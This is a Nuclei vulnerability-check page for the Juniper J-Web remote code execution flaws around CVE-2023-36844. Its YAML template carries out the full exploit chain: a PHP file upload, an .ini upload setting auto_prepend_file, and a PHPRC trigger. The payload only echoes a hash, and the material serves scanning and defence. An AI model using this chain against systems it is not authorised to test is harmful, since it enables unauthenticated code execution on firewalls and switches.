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Juniper Devices - Remote Code Execution

ID: CVE-2023-36844

Severity: medium

Author: princechaddha,ritikchaddha

Tags: cve2023,cve,packetstorm,juniper,php,rce,intrusive,fileupload,kev

Description

Section titled “Description”

Multiple cves in Juniper Network (CVE-2023-36844|CVE-2023-36845|CVE-2023-36846|CVE-2023-36847).A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series allows an unauthenticated, network-based attacker to control certain, important environments variables. Utilizing a crafted request an attacker is able to modify certain PHP environments variables leading to partial loss of integrity, which may allow chaining to other vulnerabilities.

YAML Source

Section titled “YAML Source”
id: CVE-2023-36844


info:
  name: Juniper Devices - Remote Code Execution
  author: princechaddha,ritikchaddha
  severity: medium
  description: |
    Multiple cves in Juniper Network (CVE-2023-36844|CVE-2023-36845|CVE-2023-36846|CVE-2023-36847).A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series allows an unauthenticated, network-based attacker to control certain, important environments variables. Utilizing a crafted request an attacker is able to modify certain PHP environments variables leading to partial loss of integrity, which may allow chaining to other vulnerabilities.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected Juniper Devices.
  remediation: |
    Apply the latest security patches and firmware updates provided by Juniper Networks to mitigate this vulnerability.
  reference:
    - https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/
    - https://github.com/watchtowrlabs/juniper-rce_cve-2023-36844
    - https://supportportal.juniper.net/JSA72300
    - http://packetstormsecurity.com/files/174397/Juniper-JunOS-SRX-EX-Remote-Code-Execution.html
    - http://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-36844
    cwe-id: CWE-473
    epss-score: 0.74086
    epss-percentile: 0.98118
    cpe: cpe:2.3:h:juniper:srx100:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: juniper
    product: srx100
    shodan-query: title:"Juniper Web Device Manager"
  tags: cve2023,cve,packetstorm,juniper,php,rce,intrusive,fileupload,kev
variables:
  string: "CVE-2023-36844"
  payload: "('<?php echo md5('{{string}}');unlink(__FILE__);?>')"


http:
  - raw:
      - |
        POST /webauth_operation.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        rs=do_upload&rsargs[]=[{"fileData": "data:text/html;base64,{{base64(payload)}}", "fileName": "{{rand_base(5, "abc")}}.php", "csize": {{len(payload)}}}]
      - |
        POST /webauth_operation.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        rs=do_upload&rsargs[]=[{"fileName": "{{rand_base(5, "abc")}}.ini", "fileData": "data:text/html;base64,{{base64(concat('auto_prepend_file=',hex_decode('22'),'/var/tmp/',phpfile,hex_decode('22')))}}", "csize": "97" }]
      - |
        GET /webauth_operation.php?PHPRC=/var/tmp/{{inifile}} HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '"original_fileName":'
          - '"converted_fileName":'
        condition: and


      - type: word
        part: body_3
        words:
          - '{{md5(string)}}'


    extractors:
      - type: regex
        part: body_1
        name: phpfile
        regex:
          - "([a-f0-9]{64}\\.php)"
        internal: true


      - type: regex
        part: body_2
        name: inifile
        regex:
          - "([a-f0-9]{64}\\.ini)"
        internal: true
# digest: 4a0a00473045022047f487728111d87bfcbb1056c6ed357d2d27e99c6696fe3f91ec3698f2d4b6d6022100b818eed144a9600afd50f8504f53a902056159ea017f05cb2a32a3f06a7f61f9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-36844.yaml"

View on Github